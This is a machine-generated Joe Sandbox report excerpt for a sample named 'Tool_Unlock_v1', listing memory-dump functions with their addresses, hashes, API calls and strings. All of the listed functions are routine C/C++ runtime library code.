Instruction ID: 941e65693633dd34865fb2037d685a62dc33473f78e843be8ca4dc1a7461c902
Opcode Fuzzy Hash: ffb81b457daa90623b972b1cdf93ce8173742bb55817d9ecc62d494be6f73944
Instruction Fuzzy Hash: 6FD09E715556106BC3135F74BC0E9DD3EBDFA09751B01C162F441D2354DBF545008B64

Function 00354F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a235b854831f2623c7095ff4a54c2d81b72df0967bbc81fe315b51df034051b
Instruction ID: aef4533afa4e5bd42ad163ee09443256a7a845ab31db65514ea2de5fea9fda32
Opcode Fuzzy Hash: 3a235b854831f2623c7095ff4a54c2d81b72df0967bbc81fe315b51df034051b
Instruction Fuzzy Hash: 41B10274E08A499FDB03CFA9C851FADBBB5AF45305F154158E9019F2A2CBB0BD45CBA0

Function 00339B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00339C97
std::_Throw_Cpp_error.LIBCPMT ref: 00339CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00339CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00339CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00339CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00339D06

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: dd86eccbc8e092587270f8ef019d434111f00508b65a756bcd210e154b72fe3b
Instruction ID: 08f60303b325d14f96f05f4826903cb44e9b1a83433907e615aaee26e5de843d
Opcode Fuzzy Hash: dd86eccbc8e092587270f8ef019d434111f00508b65a756bcd210e154b72fe3b
Instruction Fuzzy Hash: 4141E7B5900740CBDB329F6489817AFF7F8BF45320F18062ED57A1A2D1D7B5A904CB52

Function 0034ACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0034ACDE,00340760,0033B77F,4EEB0981,?,?,?,?,0035BFCA,000000FF), ref: 0034ACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0034AD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0034AD1C
SetLastError.KERNEL32(00000000,?,0034ACDE,00340760,0033B77F,4EEB0981,?,?,?,?,0035BFCA,000000FF), ref: 0034AD6E

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8c9e3fea5e6c9e7a4e023237e5fb02f073a84b0bfa7cc7a84cadf01baee9c20b
Instruction ID: 8813c92ee4f64ea62f24dd97e6a00870bfad6dffcb7edef4876de47e480eaa4c
Opcode Fuzzy Hash: 8c9e3fea5e6c9e7a4e023237e5fb02f073a84b0bfa7cc7a84cadf01baee9c20b
Instruction Fuzzy Hash: 79014032645E155FE72727747C4AC2667CCEB02B72B20433EF5108D5F0EF925C425541

Function 0034B56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0034B68D
CallUnexpected.LIBVCRUNTIME ref: 0034B906

Strings

csm, xrefs: 0034B618
csm, xrefs: 0034B6C4
csm, xrefs: 0034B5AB

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 2af31890cc1b95bb2dbbfe63d72305c9fc63e9811b61abe6e7b4081fd33b86ac
Instruction ID: b354a85eb8d1533a44038cf63e8ae2005e860c881880704f81acb3c1786053e9
Opcode Fuzzy Hash: 2af31890cc1b95bb2dbbfe63d72305c9fc63e9811b61abe6e7b4081fd33b86ac
Instruction Fuzzy Hash: 3BB13771800209EFCF1ADFA4C8819AEBBF9EF54310F16455AE811AF212D735EA61DF91

Function 0033BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0033BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0033C028

Strings

MOC, xrefs: 0033BE9F
csm, xrefs: 0033BEB7
RCC, xrefs: 0033BEAB

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: dc4189aaf2107b2c0e16e36b6d7fafd558004709aa1b2900408aa8cd1ab67a1d
Instruction ID: 9f7cea42bc241672ea361665d0492c70cc4c8da6b09ccaf4ff1616e3e3c37c94
Opcode Fuzzy Hash: dc4189aaf2107b2c0e16e36b6d7fafd558004709aa1b2900408aa8cd1ab67a1d
Instruction Fuzzy Hash: AB41BD74900208DFCF2ADF68C985AAEF7F5BF48300F59815DE649AB642C734EA44CB52

Function 003455C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,4EEB0981,?,?,00000000,0035BE94,000000FF,?,00345685,00000002,?,00345721,00348396), ref: 003455F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0034560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0035BE94,000000FF,?,00345685,00000002,?,00345721,00348396), ref: 0034562D

Strings

mscoree.dll, xrefs: 003455F2
CorExitProcess, xrefs: 00345603

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: eee7f8a8c4f2ac0dd3ed3ef95e69c6ddd813a63ae4d779d16ed92041091ba2cb
Instruction ID: 6b6e3109933cc3370afd42435a401132506981c03bbf9be8552dd40fe381ccd4
Opcode Fuzzy Hash: eee7f8a8c4f2ac0dd3ed3ef95e69c6ddd813a63ae4d779d16ed92041091ba2cb
Instruction Fuzzy Hash: C1016231A40A59AFDB139F54DC0AFAEBBFCFB04B55F018525F811A6290DBB89900CA90

Function 0034D6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0034D76F
__alloca_probe_16.LIBCMT ref: 0034D838
__freea.LIBCMT ref: 0034D89F

Part of subcall function 0034BF11: RtlAllocateHeap.NTDLL(00000000,0034DF35,?,?,0034DF35,00000220,?,00000000,?), ref: 0034BF43

__freea.LIBCMT ref: 0034D8B2
__freea.LIBCMT ref: 0034D8BF

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 8c371ba59dd21edab0dce920fd6308e178e30eda50afbe0a709e314818813ba0
Instruction ID: 8fc7c62624048001727b4267ad8d28a38c882a969f8983f2aefcb412ee7dbc18
Opcode Fuzzy Hash: 8c371ba59dd21edab0dce920fd6308e178e30eda50afbe0a709e314818813ba0
Instruction Fuzzy Hash: 5F518172A00206AFEB235F61CC81EBB7BE9EF45750F160529FD24DE251EB70EC5096A0

Function 0033EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0033F005
AcquireSRWLockExclusive.KERNEL32(00338E38), ref: 0033F024
AcquireSRWLockExclusive.KERNEL32(00338E38,0033A2F0,?), ref: 0033F052
TryAcquireSRWLockExclusive.KERNEL32(00338E38,0033A2F0,?), ref: 0033F0AD
TryAcquireSRWLockExclusive.KERNEL32(00338E38,0033A2F0,?), ref: 0033F0C4

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: f4f8cbe99150a38b23a1ff369d7fa55c5b2e1aec981d42b5f088b05724138fa1
Instruction ID: e8d7f7c06e4116a88ed61ac78f7279ca7c98a5c8bd54913dc465a9bb85fdd268
Opcode Fuzzy Hash: f4f8cbe99150a38b23a1ff369d7fa55c5b2e1aec981d42b5f088b05724138fa1
Instruction Fuzzy Hash: 66416871D00A06DFCB2ACF69C4C196AB3B8FF04311F91893AE456D7A52D734E984CB51

Function 0033D4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0033D4C9
std::_Lockit::_Lockit.LIBCPMT ref: 0033D4D3
int.LIBCPMT ref: 0033D4EA

Part of subcall function 0033C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0033C1F6
Part of subcall function 0033C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0033C210

codecvt.LIBCPMT ref: 0033D50D
std::_Lockit::~_Lockit.LIBCPMT ref: 0033D544

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 4bf0eaae342d1b435b6452234658d0fe00ec29c69d458224d30d768c1dbe6c07
Instruction ID: ca98a3cfa13864b087803eb7c4108022bf7f79b7dbf8f2a49a7cd22f99cf1427
Opcode Fuzzy Hash: 4bf0eaae342d1b435b6452234658d0fe00ec29c69d458224d30d768c1dbe6c07
Instruction Fuzzy Hash: 5A014531C001158FCB03FBA4D881ABEB7B5AF80324F154009F811AF292CFB48E00CB81

Function 0033ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0033ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0033ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0033AE57

Part of subcall function 0033ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0033ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0033AE04
_Yarn.LIBCPMT ref: 0033AE1A

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 4d4ba3a36c27a8199b704b4064551cf5dff15cd8cb8bb981a38e96eefd029972
Instruction ID: caa7757c51969031b3ca0318c9bb7a319e8d694ef996bd351b79af00193fad6a
Opcode Fuzzy Hash: 4d4ba3a36c27a8199b704b4064551cf5dff15cd8cb8bb981a38e96eefd029972
Instruction Fuzzy Hash: FB01BC75A00A609FCB07EB20D89297D77B5FF84750F059019E8425B392CF74AE42CB82

Function 00350976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00345BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00350A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00345BD5,?,?,?,00000055,?,-00000050,?,?), ref: 00350A6C

Strings

,K6, xrefs: 003509E9
utf8, xrefs: 00350B3E

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: ,K6$utf8
API String ID: 943130320-2133393434
Opcode ID: 8e4fd179aa8224f27321251f5332215f0ee41fe076316e103058e331f9abdb42
Instruction ID: e1532a587b5daac2184a1ca82e6cd43bbf2d0c795278266d92d927e2f1453a2f
Opcode Fuzzy Hash: 8e4fd179aa8224f27321251f5332215f0ee41fe076316e103058e331f9abdb42
Instruction Fuzzy Hash: 3F510A31600705AADB2FAB71CC82FBA73A8EF05706F154429FD459B1A1F772E94887A1

Function 003373E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00337526
___std_exception_copy.LIBVCRUNTIME ref: 00337561

Part of subcall function 0033AF37: CreateThreadpoolWork.KERNEL32(0033B060,00338A2A,00000000), ref: 0033AF46
Part of subcall function 0033AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0033AF53

Strings

Fail to schedule the chore!, xrefs: 00337560
G.6, xrefs: 00337551

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.6
API String ID: 3683891980-387934260
Opcode ID: eba7d91f1b81201a740a5e2e9a4efcaa950044ee602b20857844cb649232d36a
Instruction ID: 3246feff0a87a6d70e8e0a66fb036a0e4ca738cdd2421ff9133e81a6633a1166
Opcode Fuzzy Hash: eba7d91f1b81201a740a5e2e9a4efcaa950044ee602b20857844cb649232d36a
Instruction Fuzzy Hash: 2851AAF49006089FCB16DF94DC85BAEBBB4FF08324F144129E819AB391D779AA05CF91

Function 00333E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00333EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00334002

Part of subcall function 0033ABC5: _Yarn.LIBCPMT ref: 0033ABE5
Part of subcall function 0033ABC5: _Yarn.LIBCPMT ref: 0033AC09

Strings

|=3e.6, xrefs: 00333E9B, 00333F1F
bad locale name, xrefs: 00333F46

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=3e.6
API String ID: 2070049627-148301218
Opcode ID: e96306dc5232f4eff61283d7427d86e52daeeefa4d6eb7ae9a870ca170246b64
Instruction ID: 362b3a45e177d703297e1931d9297790b3567494289642fc0810173d3625887c
Opcode Fuzzy Hash: e96306dc5232f4eff61283d7427d86e52daeeefa4d6eb7ae9a870ca170246b64
Instruction Fuzzy Hash: A8418EF0A007459BEB11DF69C845B17BBF8BF04714F044629E4499B780E3BAE518CBE2

Function 0033B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0033B809

Strings

csm, xrefs: 0033B7A1
RCC, xrefs: 0033B795
MOC, xrefs: 0033B789

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: f5f4a2775393195b75ab2ebd2672770eb55a076f67a8ad112cd73dc7077a5c7f
Instruction ID: 579576caa72da8ff0c958db898dae0e1f78150f28ca8b821f131ed5280ce41c2
Opcode Fuzzy Hash: f5f4a2775393195b75ab2ebd2672770eb55a076f67a8ad112cd73dc7077a5c7f
Instruction Fuzzy Hash: 9D21C235900649DFCF2A9F94C8D5B6AF7ACEF40720F15452EE6528FA90DB34AA40CB91

Function 0033F11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0033253A,?,?,00000000), ref: 0033F129
GetExitCodeThread.KERNEL32(?,00000000,?,?,0033253A,?,?,00000000), ref: 0033F142
CloseHandle.KERNEL32(?,?,?,0033253A,?,?,00000000), ref: 0033F154

Strings

:%3, xrefs: 0033F134

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%3
API String ID: 2551024706-2174617765
Opcode ID: b5f5ed2383786863cbdfa3d5e8ab7eb36589652d8f0ae01feb7fd880f6dcdd13
Instruction ID: 43297277fa4f4fed360b4679ce0fb6f0f1e336d7dd14328725803dadd866d3e7
Opcode Fuzzy Hash: b5f5ed2383786863cbdfa3d5e8ab7eb36589652d8f0ae01feb7fd880f6dcdd13
Instruction Fuzzy Hash: 8AF08271A54114EFDF128F24EC46AAA3B68EB01BB0F644320FC21EA2E0E770DE408680

Function 0033ABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

